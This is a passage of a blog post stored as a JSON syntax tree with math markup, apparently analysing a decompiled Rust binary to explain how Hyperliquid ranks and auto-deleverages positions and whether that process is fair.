",{"type":26,"tag":83,"props":1281,"children":1283},{"className":1282},[],[1284],{"type":32,"value":1285},"(asset_idx, direction)",{"type":32,"value":1287}," held in the cross margin position.",{"type":26,"tag":39,"props":1289,"children":1290},{},[1291,1293,1299,1301,1307,1309,1315],{"type":32,"value":1292},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":26,"tag":83,"props":1294,"children":1296},{"className":1295},[],[1297],{"type":32,"value":1298},"adl_output",{"type":32,"value":1300}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":26,"tag":83,"props":1302,"children":1304},{"className":1303},[],[1305],{"type":32,"value":1306},"position_id",{"type":32,"value":1308}," and ",{"type":26,"tag":83,"props":1310,"children":1312},{"className":1311},[],[1313],{"type":32,"value":1314},"position_shortfall",{"type":32,"value":180},{"type":26,"tag":182,"props":1317,"children":1320},{"addr":590,"line-start":1318,"line-end":1319},"2377","2469",[],{"type":26,"tag":39,"props":1322,"children":1323},{},[1324,1326,1332],{"type":32,"value":1325},"Afterwards we can finally loop over the B-tree containing ",{"type":26,"tag":83,"props":1327,"children":1329},{"className":1328},[],[1330],{"type":32,"value":1331},"(position_id, cut)",{"type":32,"value":1333},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":26,"tag":39,"props":1335,"children":1336},{},[1337,1339,1344],{"type":32,"value":1338},"The final phase of ",{"type":26,"tag":83,"props":1340,"children":1342},{"className":1341},[],[1343],{"type":32,"value":544},{"type":32,"value":1345}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":26,"tag":182,"props":1347,"children":1350},{"addr":590,"addr-start":1348,"addr-end":1349},"0x555556ac6d52","0x555556ac6de8",[],{"type":26,"tag":39,"props":1352,"children":1353},{},[1354],{"type":32,"value":1355},"How are positions chosen (sorted) to be deleveraged?",{"type":26,"tag":454,"props":1357,"children":1359},{"id":1358},"who-do-we-deleverage",[1360],{"type":32,"value":1361},"Who Do We Deleverage?",{"type":26,"tag":39,"props":1363,"children":1364},{},[1365],{"type":32,"value":1366},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":26,"tag":39,"props":1368,"children":1369},{},[1370],{"type":32,"value":1371},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":26,"tag":39,"props":1373,"children":1374},{},[1375,1377,1384],{"type":32,"value":1376},"More formally, fairness can be given multiple related definitions; see ",{"type":26,"tag":163,"props":1378,"children":1381},{"href":1379,"rel":1380},"https://arxiv.org/abs/2512.01112",[167],[1382],{"type":32,"value":1383},"this paper",{"type":32,"value":1385},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":26,"tag":39,"props":1387,"children":1388},{},[1389],{"type":32,"value":1390},"So, is Hyperliquid fair? Is it always solvent?",{"type":26,"tag":27,"props":1392,"children":1394},{"id":1393},"adl-score-computation",[1395],{"type":32,"value":1396},"ADL Score Computation",{"type":26,"tag":39,"props":1398,"children":1399},{},[1400,1402,1408,1410,1416,1418,1423],{"type":32,"value":1401},"The score function at ",{"type":26,"tag":83,"props":1403,"children":1405},{"className":1404},[],[1406],{"type":32,"value":1407},"compute_adl_ranking_score",{"type":32,"value":1409}," is core to answering this question. It's defined, most likely as an ",{"type":26,"tag":83,"props":1411,"children":1413},{"className":1412},[],[1414],{"type":32,"value":1415},"Ord",{"type":32,"value":1417}," implementation on some 20-byte address representation. A ",{"type":26,"tag":83,"props":1419,"children":1421},{"className":1420},[],[1422],{"type":32,"value":907},{"type":32,"value":1424}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":26,"tag":39,"props":1426,"children":1427},{},[1428,1430,1435,1437,1443,1445,1452,1454,1461],{"type":32,"value":1429},"Those sort routines are ",{"type":26,"tag":65,"props":1431,"children":1432},{},[1433],{"type":32,"value":1434},"generated by the compiler",{"type":32,"value":1436},": since Rust binaries include a lot of metadata by default in ",{"type":26,"tag":83,"props":1438,"children":1440},{"className":1439},[],[1441],{"type":32,"value":1442},".comment",{"type":32,"value":1444},", we may even manually ",{"type":26,"tag":163,"props":1446,"children":1449},{"href":1447,"rel":1448},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[167],[1450],{"type":32,"value":1451},"take advantage",{"type":32,"value":1453}," of this to recover the ",{"type":26,"tag":163,"props":1455,"children":1458},{"href":1456,"rel":1457},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[167],[1459],{"type":32,"value":1460},"exact source of library functions",{"type":32,"value":180},{"type":26,"tag":39,"props":1463,"children":1464},{},[1465,1467,1472],{"type":32,"value":1466},"Let's see how this ties back into the ",{"type":26,"tag":83,"props":1468,"children":1470},{"className":1469},[],[1471],{"type":32,"value":544},{"type":32,"value":1473},":",{"type":26,"tag":182,"props":1475,"children":1477},{"source":544,"target":1407,"direction":545,"path":1476},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":26,"tag":39,"props":1479,"children":1480},{},[1481],{"type":32,"value":1482},"And here's the main call site used for sorting:",{"type":26,"tag":182,"props":1484,"children":1487},{"addr":590,"line-start":1485,"line-end":1486},"2806","2814",[],{"type":26,"tag":27,"props":1489,"children":1491},{"id":1490},"ratio-1-effective-leverage",[1492],{"type":32,"value":1493},"Ratio 1: Effective Leverage",{"type":26,"tag":207,"props":1495,"children":1496},{},[1497],{"type":26,"tag":83,"props":1498,"children":1500},{"className":1499},[213,214],[1501],{"type":26,"tag":217,"props":1502,"children":1504},{"className":1503},[220],[1505],{"type":26,"tag":217,"props":1506,"children":1508},{"className":1507},[225],[1509],{"type":26,"tag":217,"props":1510,"children":1512},{"className":1511,"ariaHidden":231},[230],[1513,1545],{"type":26,"tag":217,"props":1514,"children":1516},{"className":1515},[236],[1517,1522,1532,1536,1541],{"type":26,"tag":217,"props":1518,"children":1521},{"className":1519,"style":1520},[241],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":26,"tag":217,"props":1523,"children":1525},{"className":1524},[247,32],[1526],{"type":26,"tag":217,"props":1527,"children":1529},{"className":1528},[247],[1530],{"type":32,"value":1531},"effective leverage",{"type":26,"tag":217,"props":1533,"children":1535},{"className":1534,"style":259},[258],[],{"type":26,"tag":217,"props":1537,"children":1539},{"className":1538},[264],[1540],{"type":32,"value":267},{"type":26,"tag":217,"props":1542,"children":1544},{"className":1543,"style":259},[258],[],{"type":26,"tag":217,"props":1546,"children":1548},{"className":1547},[236],[1549,1554],{"type":26,"tag":217,"props":1550,"children":1553},{"className":1551,"style":1552},[241],"height:2.113em;vertical-align:-0.686em;",[],{"type":26,"tag":217,"props":1555,"children":1557},{"className":1556},[247],[1558,1562,1657],{"type":26,"tag":217,"props":1559,"children":1561},{"className":1560},[288,289],[],{"type":26,"tag":217,"props":1563,"children":1565},{"className":1564},[294],[1566],{"type":26,"tag":217,"props":1567,"children":1569},{"className":1568},[299,300],[1570,1645],{"type":26,"tag":217,"props":1571,"children":1573},{"className":1572},[305],[1574,1640],{"type":26,"tag":217,"props":1575,"children":1577},{"className":1576,"style":311},[310],[1578,1599,1610],{"type":26,"tag":217,"props":1579,"children":1580},{"style":315},[1581,1585],{"type":26,"tag":217,"props":1582,"children":1584},{"className":1583,"style":321},[320],[],{"type":26,"tag":217,"props":1586,"children":1588},{"className":1587},[247],[1589],{"type":26,"tag":217,"props":1590,"children":1592},{"className":1591},[247,32],[1593],{"type":26,"tag":217,"props":1594,"children":1596},{"className":1595},[247],[1597],{"type":32,"value":1598},"account value",{"type":26,"tag":217,"props":1600,"children":1601},{"style":361},[1602,1606],{"type":26,"tag":217,"props":1603,"children":1605},{"className":1604,"style":321},[320],[],{"type":26,"tag":217,"props":1607,"children":1609},{"className":1608,"style":371},[370],[],{"type":26,"tag":217,"props":1611,"children":1612},{"style":375},[1613,1617],{"type":26,"tag":217,"props":1614,"children":1616},{"className":1615,"style":321},[320],[],{"type":26,"tag":217,"props":1618,"children":1620},{"className":1619},[247],[1621,1626,1635],{"type":26,"tag":217,"props":1622,"children":1624},{"className":1623},[247],[1625],{"type":32,"value":390},{"type":26,"tag":217,"props":1627,"children":1629},{"className":1628},[247,32],[1630],{"type":26,"tag":217,"props":1631,"children":1633},{"className":1632},[247],[1634],{"type":32,"value":400},{"type":26,"tag":217,"props":1636,"children":1638},{"className":1637},[247],[1639],{"type":32,"value":390},{"type":26,"tag":217,"props":1641,"children":1643},{"className":1642},[409],[1644],{"type":32,"value":412},{"type":26,"tag":217,"props":1646,"children":1648},{"className":1647},[305],[1649],{"type":26,"tag":217,"props":1650,"children":1653},{"className":1651,"style":1652},[310],"height:0.686em;",[1654],{"type":26,"tag":217,"props":1655,"children":1656},{},[],{"type":26,"tag":217,"props":1658,"children":1660},{"className":1659},[428,289],[],{"type":26,"tag":39,"props":1662,"children":1663},{},[1664,1666,1672,1674,1680,1682,1688,1690,1696],{"type":32,"value":1665},"We can see in the decompilation below, through the SIMD noise, that ",{"type":26,"tag":83,"props":1667,"children":1669},{"className":1668},[],[1670],{"type":32,"value":1671},"abs_notional",{"type":32,"value":1673}," (unsigned), and ",{"type":26,"tag":83,"props":1675,"children":1677},{"className":1676},[],[1678],{"type":32,"value":1679},"float.d(rbx)",{"type":32,"value":1681}," is ",{"type":26,"tag":83,"props":1683,"children":1685},{"className":1684},[],[1686],{"type":32,"value":1687},"account_value",{"type":32,"value":1689}," (signed); the division is ",{"type":26,"tag":83,"props":1691,"children":1693},{"className":1692},[],[1694],{"type":32,"value":1695},"abs_notional / account_value",{"type":32,"value":180},{"type":26,"tag":39,"props":1698,"children":1699},{},[1700],{"type":32,"value":1701},"This tells us the risk multiplier that the user took on for this position.",{"type":26,"tag":182,"props":1703,"children":1707},{"addr":1704,"line-start":1705,"line-end":1706},"0x555556abb140","278","296",[],{"type":26,"tag":27,"props":1709,"children":1711},{"id":1710},"ratio-2-profit-ratio",[1712],{"type":32,"value":1713},"Ratio 2: Profit Ratio",{"type":26,"tag":207,"props":1715,"children":1716},{},[1717],{"type":26,"tag":83,"props":1718,"children":1720},{"className":1719},[213,214],[1721],{"type":26,"tag":217,"props":1722,"children":1724},{"className":1723},[220],[1725],{"type":26,"tag":217,"props":1726,"children":1728},{"className":1727},[225],[1729],{"type":26,"tag":217,"props":1730,"children":1732},{"className":1731,"ariaHidden":231},[230],[1733,1764],{"type":26,"tag":217,"props":1734,"children":1736},{"className":1735},[236],[1737,1741,1751,1755,1760],{"type":26,"tag":217,"props":1738,"children":1740},{"className":1739,"style":1520},[241],[],{"type":26,"tag":217,"props":1742,"children":1744},{"className":1743},[247,32],[1745],{"type":26,"tag":217,"props":1746,"children":1748},{"className":1747},[247],[1749],{"type":32,"value":1750},"profit ratio",{"type":26,"tag":217,"props":1752,"children":1754},{"className":1753,"style":259},[258],[],{"type":26,"tag":217,"props":1756,"children":1758},{"className":1757},[264],[1759],{"type":32,"value":267},{"type":26,"tag":217,"props":1761,"children":1763},{"className":1762,"style":259},[258],[],{"type":26,"tag":217,"props":1765,"children":1767},{"className":1766},[236],[1768,1772],{"type":26,"tag":217,"props":1769,"children":1771},{"className":1770,"style":279},[241],[],{"type":26,"tag":217,"props":1773,"children":1775},{"className":1774},[247],[1776,1780,1906],{"type":26,"tag":217,"props":1777,"children":1779},{"className":1778},[288,289],[],{"type":26,"tag":217,"props":1781,"children":1783},{"className":1782},[294],[1784],{"type":26,"tag":217,"props":1785,"children":1787},{"className":1786},[299,300],[1788,1895],{"type":26,"tag":217,"props":1789,"children":1791},{"className":1790},[305],[1792,1890],{"type":26,"tag":217,"props":1793,"children":1795},{"className":1794,"style":311},[310],[1796,1817,1828],{"type":26,"tag":217,"props":1797,"children":1798},{"style":315},[1799,1803],{"type":26,"tag":217,"props":1800,"children":1802},{"className":1801,"style":321},[320],[],{"type":26,"tag":217,"props":1804,"children":1806},{"className":1805},[247],[1807],{"type":26,"tag":217,"props":1808,"children":1810},{"className":1809},[247,32],[1811],{"type":26,"tag":217,"props":1812,"children":1814},{"className":1813},[247],[1815],{"type":32,"value":1816},"entry notional",{"type":26,"tag":217,"props":1818,"children":1819},{"style":361},[1820,1824],{"type":26,"tag":217,"props":1821,"children":1823},{"className":1822,"style":321},[320],[],{"type":26,"tag":217,"props":1825,"children":1827},{"className":1826,"style":371},[370],[],{"type":26,"tag":217,"props":1829,"children":1830},{"style":375},[1831,1835],{"type":26,"tag":217,"props":1832,"children":1834},{"className":1833,"style":321},[320],[],{"type":26,"tag":217,"props":1836,"children":1838},{"className":1837},[247],[1839,1846,1852,1862,1869,1874,1878,1884],{"type":26,"tag":217,"props":1840,"children":1843},{"className":1841},[1842],"mop",[1844],{"type":32,"value":1845},"max",{"type":26,"tag":217,"props":1847,"children":1849},{"className":1848},[288],[1850],{"type":32,"value":1851},"(",{"type":26,"tag":217,"props":1853,"children":1855},{"className":1854},[247,32],[1856],{"type":26,"tag":217,"props":1857,"children":1859},{"className":1858},[247],[1860],{"type":32,"value":1861},"pnl",{"type":26,"tag":217,"props":1863,"children":1866},{"className":1864},[1865],"mpunct",[1867],{"type":32,"value":1868},",",{"type":26,"tag":217,"props":1870,"children":1873},{"className":1871,"style":1872},[258],"margin-right:0.1667em;",[],{"type":26,"tag":217,"props":1875,"children":1877},{"className":1876,"style":1872},[258],[],{"type":26,"tag":217,"props":1879,"children":1881},{"className":1880},[247],[1882],{"type":32,"value":1883},"0",{"type":26,"tag":217,"props":1885,"children":1887},{"className":1886},[428],[1888],{"type":32,"value":1889},")",{"type":26,"tag":217,"props":1891,"children":1893},{"className":1892},[409],[1894],{"type":32,"value":412},{"type":26,"tag":217,"props":1896,"children":1898},{"className":1897},[305],[1899],{"type":26,"tag":217,"props":1900,"children":1902},{"className":1901,"style":420},[310],[1903],{"type":26,"tag":217,"props":1904,"children":1905},{},[],{"type":26,"tag":217,"props":1907,"children":1909},{"className":1908},[428,289],[],{"type":26,"tag":39,"props":1911,"children":1912},{},[1913,1915,1921],{"type":32,"value":1914},"It uses entry notional (",{"type":26,"tag":83,"props":1916,"children":1918},{"className":1917},[],[1919],{"type":32,"value":1920},"r14_2",{"type":32,"value":1922},") as the divisor. PNL is clamped to non-negative before division.",{"type":26,"tag":39,"props":1924,"children":1925},{},[1926],{"type":32,"value":1927},"This basically tells us how well the user's bet went.",{"type":26,"tag":182,"props":1929,"children":1933},{"addr":1930,"addr-start":1931,"addr-end":1932},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":26,"tag":39,"props":1935,"children":1936},{},[1937,1939,1945,1947,1953],{"type":32,"value":1938},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":26,"tag":83,"props":1940,"children":1942},{"className":1941},[],[1943],{"type":32,"value":1944},"1e-8",{"type":32,"value":1946},", in order not to cancel each other out. The final ADL ranking score is ",{"type":26,"tag":83,"props":1948,"children":1950},{"className":1949},[],[1951],{"type":32,"value":1952},"effective_leverage * profit_ratio",{"type":32,"value":1954},", consistent with both ratio directions and the max clamp on PNL.",{"type":26,"tag":39,"props":1956,"children":1957},{},[1958],{"type":32,"value":1959},"So, in essence, we look for risky and profitable positions!",{"type":26,"tag":607,"props":1961,"children":1963},{"id":1962},"partial-and-total-adl",[1964],{"type":32,"value":1965},"Partial and Total ADL",{"type":26,"tag":39,"props":1967,"children":1968},{},[1969],{"type":32,"value":1970},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":26,"tag":39,"props":1972,"children":1973},{},[1974],{"type":32,"value":1975},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":26,"tag":39,"props":1977,"children":1978},{},[1979,1981,1986],{"type":32,"value":1980},"So essentially, in pseudocode, the whole latter part of ",{"type":26,"tag":83,"props":1982,"children":1984},{"className":1983},[],[1985],{"type":32,"value":544},{"type":32,"value":1987}," boils down to:",{"type":26,"tag":182,"props":1989,"children":1992},{"addr":590,"line-start":1990,"line-end":1991},"3252","3632",[],{"type":26,"tag":39,"props":1994,"children":1995},{},[1996],{"type":32,"value":1997},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":26,"tag":454,"props":1999,"children":2001},{"id":2000},"branches",[2002],{"type":32,"value":2003},"Branches",{"type":26,"tag":39,"props":2005,"children":2006},{},[2007],{"type":32,"value":2008},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":26,"tag":39,"props":2010,"children":2011},{},[2012],{"type":32,"value":2013},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":26,"tag":454,"props":2015,"children":2017},{"id":2016},"financial-conclusions",[2018],{"type":32,"value":2019},"Financial Conclusions",{"type":26,"tag":27,"props":2021,"children":2023},{"id":2022},"fairness-revenue-solvency-trilemma",[2024],{"type":32,"value":2025},"Fairness, Revenue, Solvency Trilemma",{"type":26,"tag":39,"props":2027,"children":2028},{},[2029,2031,2037],{"type":32,"value":2030},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":26,"tag":163,"props":2032,"children":2034},{"href":1379,"rel":2033},[167],[2035],{"type":32,"value":2036},"the paper mentioned before",{"type":32,"value":2038},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":26,"tag":2040,"props":2041,"children":2042},"ul",{},[2043,2054,2064],{"type":26,"tag":2044,"props":2045,"children":2046},"li",{},[2047,2052],{"type":26,"tag":65,"props":2048,"children":2049},{},[2050],{"type":32,"value":2051},"Solvency",{"type":32,"value":2053},": can the platform pay every trader out?",{"type":26,"tag":2044,"props":2055,"children":2056},{},[2057,2062],{"type":26,"tag":65,"props":2058,"children":2059},{},[2060],{"type":32,"value":2061},"Fairness",{"type":32,"value":2063},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":26,"tag":2044,"props":2065,"children":2066},{},[2067,2072],{"type":26,"tag":65,"props":2068,"children":2069},{},[2070],{"type":32,"value":2071},"Revenue",{"type":32,"value":2073},": the fraction of total winner PNL that survives after deleveraging.",{"type":26,"tag":39,"props":2075,"children":2076},{},[2077],{"type":32,"value":2078},"Let's borrow these definitions from the paper:",{"type":26,"tag":207,"props":2080,"children":2081},{},[2082],{"type":26,"tag":83,"props":2083,"children":2085},{"className":2084},[213,214],[2086],{"type":26,"tag":217,"props":2087,"children":2089},{"className":2088},[220],[2090],{"type":26,"tag":217,"props":2091,"children":2093},{"className":2092},[225],[2094],{"type":26,"tag":217,"props":2095,"children":2097},{"className":2096,"ariaHidden":231},[230],[2098],{"type":26,"tag":217,"props":2099,"children":2101},{"className":2100},[236],[2102,2107],{"type":26,"tag":217,"props":2103,"children":2106},{"className":2104,"style":2105},[241],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":26,"tag":217,"props":2108,"children":2110},{"className":2109},[247],[2111],{"type":26,"tag":217,"props":2112,"children":2114},{"className":2113},[955],[2115,2969],{"type":26,"tag":217,"props":2116,"children":2118},{"className":2117},[960],[2119],{"type":26,"tag":217,"props":2120,"children":2122},{"className":2121},[299,300],[2123,2957],{"type":26,"tag":217,"props":2124,"children":2126},{"className":2125},[305],[2127,2952],{"type":26,"tag":217,"props":2128,"children":2131},{"className":2129,"style":2130},[310],"height:11.8392em;",[2132,2215,2234,2307,2379,2449,2521,2591,2661,2734,2806,2878],{"type":26,"tag":217,"props":2133,"children":2135},{"style":2134},"top:-14.3707em;",[2136,2141],{"type":26,"tag":217,"props":2137,"children":2140},{"className":2138,"style":2139},[320],"height:3.3714em;",[],{"type":26,"tag":217,"props":2142,"children":2144},{"className":2143},[247],[2145],{"type":26,"tag":217,"props":2146,"children":2148},{"className":2147},[247],[2149,2157],{"type":26,"tag":217,"props":2150,"children":2154},{"className":2151,"style":2153},[247,2152],"mathnormal","margin-right:0.13889em;",[2155],{"type":32,"value":2156},"P",{"type":26,"tag":217,"props":2158,"children":2161},{"className":2159},[2160],"msupsub",[2162],{"type":26,"tag":217,"props":2163,"children":2165},{"className":2164},[299,300],[2166,2203],{"type":26,"tag":217,"props":2167,"children":2169},{"className":2168},[305],[2170,2198],{"type":26,"tag":217,"props":2171,"children":2174},{"className":2172,"style":2173},[310],"height:0.1514em;",[2175],{"type":26,"tag":217,"props":2176,"children":2178},{"style":2177},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[2179,2184],{"type":26,"tag":217,"props":2180,"children":2183},{"className":2181,"style":2182},[320],"height:2.7em;",[],{"type":26,"tag":217,"props":2185,"children":2191},{"className":2186},[2187,2188,2189,2190],"sizing","reset-size6","size3","mtight",[2192],{"type":26,"tag":217,"props":2193,"children":2195},{"className":2194},[247,2152,2190],[2196],{"type":32,"value":2197},"n",{"type":26,"tag":217,"props":2199,"children":2201},{"className":2200},[409],[2202],{"type":32,"value":412},{"type":26,"tag":217,"props":2204,"children":2206},{"className":2205},[305],[2207],{"type":26,"tag":217,"props":2208,"children":2211},{"className":2209,"style":2210},[310],"height:0.15em;",[2212],{"type":26,"tag":217,"props":2213,"children":2214},{},[],{"type":26,"tag":217,"props":2216,"children":2218},{"style":2217},"top:-12.8707em;",[2219,2223],{"type":26,"tag":217,"props":2220,"children":2222},{"className":2221,"style":2139},[320],[],{"type":26,"tag":217,"props":2224,"children":2226},{"className":2225},[247],[2227],{"type":26,"tag":217,"props":2228,"children":2231},{"className":2229,"style":2230},[247,2152],"margin-right:0.07847em;",[2232],{"type":32,"value":2233},"I",{"type":26,"tag":217,"props":2235,"children":2237},{"style":2236},"top:-10.8392em;",[2238,2242],{"type":26,"tag":217,"props":2239,"children":2241},{"className":2240,"style":2139},[320],[],{"type":26,"tag":217,"props":2243,"children":2245},{"className":2244},[247],[2246],{"type":26,"tag":217,"props":2247,"children":2249},{"className":2248},[247],[2250,2256],{"type":26,"tag":217,"props":2251,"children":2253},{"className":2252},[247,2152],[2254],{"type":32,"value":2255},"c",{"type":26,"tag":217,"props":2257,"children":2259},{"className":2258},[2160],[2260],{"type":26,"tag":217,"props":2261,"children":2263},{"className":2262},[299,300],[2264,2296],{"type":26,"tag":217,"props":2265,"children":2267},{"className":2266},[305],[2268,2291],{"type":26,"tag":217,"props":2269,"children":2272},{"className":2270,"style":2271},[310],"height:0.3117em;",[2273],{"type":26,"tag":217,"props":2274,"children":2276},{"style":2275},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[2277,2281],{"type":26,"tag":217,"props":2278,"children":2280},{"className":2279,"style":2182},[320],[],{"type":26,"tag":217,"props":2282,"children":2284},{"className":2283},[2187,2188,2189,2190],[2285],{"type":26,"tag":217,"props":2286,"children":2288},{"className":2287},[247,2152,2190],[2289],{"type":32,"value":2290},"i",{"type":26,"tag":217,"props":2292,"children":2294},{"className":2293},[409],[2295],{"type":32,"value":412},{"type":26,"tag":217,"props":2297,"children":2299},{"className":2298},[305],[2300],{"type":26,"tag":217,"props":2301,"children":2303},{"className":2302,"style":2210},[310],[2304],{"type":26,"tag":217,"props":2305,"children":2306},{},[],{"type":26,"tag":217,"props":2308,"children":2310},{"style":2309},"top:-8.8188em;",[2311,2315],{"type":26,"tag":217,"props":2312,"children":2314},{"className":2313,"style":2139},[320],[],{"type":26,"tag":217,"props":2316,"children":2318},{"className":2317},[247],[2319],{"type":26,"tag":217,"props":2320,"children":2322},{"className":2321},[247],[2323,2330],{"type":26,"tag":217,"props":2324,"children":2327},{"className":2325,"style":2326},[247,2152],"margin-right:0.03588em;",[2328],{"type":32,"value":2329},"π",{"type":26,"tag":217,"props":2331,"children":2333},{"className":2332},[2160],[2334],{"type":26,"tag":217,"props":2335,"children":2337},{"className":2336},[299,300],[2338,2368],{"type":26,"tag":217,"props":2339,"children":2341},{"className":2340},[305],[2342,2363],{"type":26,"tag":217,"props":2343,"children":2345},{"className":2344,"style":2271},[310],[2346],{"type":26,"tag":217,"props":2347,"children":2349},{"style":2348},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[2350,2354],{"type":26,"tag":217,"props":2351,"children":2353},{"className":2352,"style":2182},[320],[],{"type":26,"tag":217,"props":2355,"children":2357},{"className":2356},[2187,2188,2189,2190],[2358],{"type":26,"tag":217,"props":2359,"children":2361},{"className":2360},[247,2152,2190],[2362],{"type":32,"value":2290},{"type":26,"tag":217,"props":2364,"children":2366},{"className":2365},[409],[2367],{"type":32,"value":412},{"type":26,"tag":217,"props":2369,"children":2371},{"className":2370},[305],[2372],{"type":26,"tag":217,"props":2373,"children":2375},{"className":2374,"style":2210},[310],[2376],{"type":26,"tag":217,"props":2377,"children":2378},{},[],{"type":26,"tag":217,"props":2380,"children":2382},{"style":2381},"top:-7.3188em;",[2383,2387],{"type":26,"tag":217,"props":2384,"children":2386},{"className":2385,"style":2139},[320],[],{"type":26,"tag":217,"props":2388,"children":2390},{"className":2389},[247],[2391],{"type":26,"tag":217,"props":2392,"children":2394},{"className":2393},[247],[2395,2401],{"type":26,"tag":217,"props":2396,"children":2398},{"className":2397},[247,2152],[2399],{"type":32,"value":2400},"e",{"type":26,"tag":217,"props":2402,"children":2404},{"className":2403},[2160],[2405],{"type":26,"tag":217,"props":2406,"children":2408},{"className":2407},[299,300],[2409,2438],{"type":26,"tag":217,"props":2410,"children":2412},{"className":2411},[305],[2413,2433],{"type":26,"tag":217,"props":2414,"children":2416},{"className":2415,"style":2271},[310],[2417],{"type":26,"tag":217,"props":2418,"children":2419},{"style":2275},[2420,2424],{"type":26,"tag":217,"props":2421,"children":2423},{"className":2422,"style":2182},[320],[],{"type":26,"tag":217,"props":2425,"children":2427},{"className":2426},[2187,2188,2189,2190],[2428],{"type":26,"tag":217,"props":2429,"children":2431},{"className":2430},[247,2152,2190],[2432],{"type":32,"value":2290},{"type":26,"tag":217,"props":2434,"children":2436},{"className":2435},[409],[2437],{"type":32,"value":412},{"type":26,"tag":217,"props":2439,"children":2441},{"className":2440},[305],[2442],{"type":26,"tag":217,"props":2443,"children":2445},{"className":2444,"style":2210},[310],[2446],{"type":26,"tag":217,"props":2447,"children":2448},{},[],{"type":26,"tag":217,"props":2450,"children":2452},{"style":2451},"top:-5.8188em;",[2453,2457],{"type":26,"tag":217,"props":2454,"children":2456},{"className":2455,"style":2139},[320],[],{"type":26,"tag":217,"props":2458,"children":2460},{"className":2459},[247],[2461],{"type":26,"tag":217,"props":2462,"children":2464},{"className":2463},[247],[2465,2472],{"type":26,"tag":217,"props":2466,"children":2469},{"className":2467,"style":2468},[247,2152],"margin-right:0.02691em;",[2470],{"type":32,"value":2471},"w",{"type":26,"tag":217,"props":2473,"children":2475},{"className":2474},[2160],[2476],{"type":26,"tag":217,"props":2477,"children":2479},{"className":2478},[299,300],[2480,2510],{"type":26,"tag":217,"props":2481,"children":2483},{"className":2482},[305],[2484,2505],{"type":26,"tag":217,"props":2485,"children":2487},{"className":2486,"style":2271},[310],[2488],{"type":26,"tag":217,"props":2489,"children":2491},{"style":2490},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[2492,2496],{"type":26,"tag":217,"props":2493,"children":2495},{"className":2494,"style":2182},[320],[],{"type":26,"tag":217,"props":2497,"children":2499},{"className":2498},[2187,2188,2189,2190],[2500],{"type":26,"tag":217,"props":2501,"children":2503},{"className":2502},[247,2152,2190],[2504],{"type":32,"value":2290},{"type":26,"tag":217,"props":2506,"children":2508},{"className":2507},[409],[2509],{"type":32,"value":412},{"type":26,"tag":217,"props":2511,"children":2513},{"className":2512},[305],[2514],{"type":26,"tag":217,"props":2515,"children":2517},{"className":2516,"style":2210},[310],[2518],{"type":26,"tag":217,"props":2519,"children":2520},{},[],{"type":26,"tag":217,"props":2522,"children":2524},{"style":2523},"top:-4.3188em;",[2525,2529],{"type":26,"tag":217,"props":2526,"children":2528},{"className":2527,"style":2139},[320],[],{"type":26,"tag":217,"props":2530,"children":2532},{"className":2531},[247],[2533],{"type":26,"tag":217,"props":2534,"children":2536},{"className":2535},[247],[2537,2543],{"type":26,"tag":217,"props":2538,"children":2540},{"className":2539},[247,2152],[2541],{"type":32,"value":2542},"x",{"type":26,"tag":217,"props":2544,"children":2546},{"className":2545},[2160],[2547],{"type":26,"tag":217,"props":2548,"children":2550},{"className":2549},[299,300],[2551,2580],{"type":26,"tag":217,"props":2552,"children":2554},{"className":2553},[305],[2555,2575],{"type":26,"tag":217,"props":2556,"children":2558},{"className":2557,"style":2271},[310],[2559],{"type":26,"tag":217,"props":2560,"children":2561},{"style":2275},[2562,2566],{"type":26,"tag":217,"props":2563,"children":2565},{"className":2564,"style":2182},[320],[],{"type":26,"tag":217,"props":2567,"children":2569},{"className":2568},[2187,2188,2189,2190],[2570],{"type":26,"tag":217,"props":2571,"children":2573},{"className":2572},[247,2152,2190],[2574],{"type":32,"value":2290},{"type":26,"tag":217,"props":2576,"children":2578},{"className":2577},[409],[2579],{"type":32,"value":412},{"type":26,"tag":217,"props":2581,"children":2583},{"className":2582},[305],[2584],{"type":26,"tag":217,"props":2585,"children":2587},{"className":2586,"style":2210},[310],[2588],{"type":26,"tag":217,"props":2589,"children":2590},{},[],{"type":26,"tag":217,"props":2592,"children":2594},{"style":2593},"top:-2.5512em;",[2595,2599],{"type":26,"tag":217,"props":2596,"children":2598},{"className":2597,"style":2139},[320],[],{"type":26,"tag":217,"props":2600,"children":2602},{"className":2601},[247],[2603],{"type":26,"tag":217,"props":2604,"children":2606},{"className":2605},[247],[2607,2613],{"type":26,"tag":217,"props":2608,"children":2610},{"className":2609},[247,2152],[2611],{"type":32,"value":2612},"h",{"type":26,"tag":217,"props":2614,"children":2616},{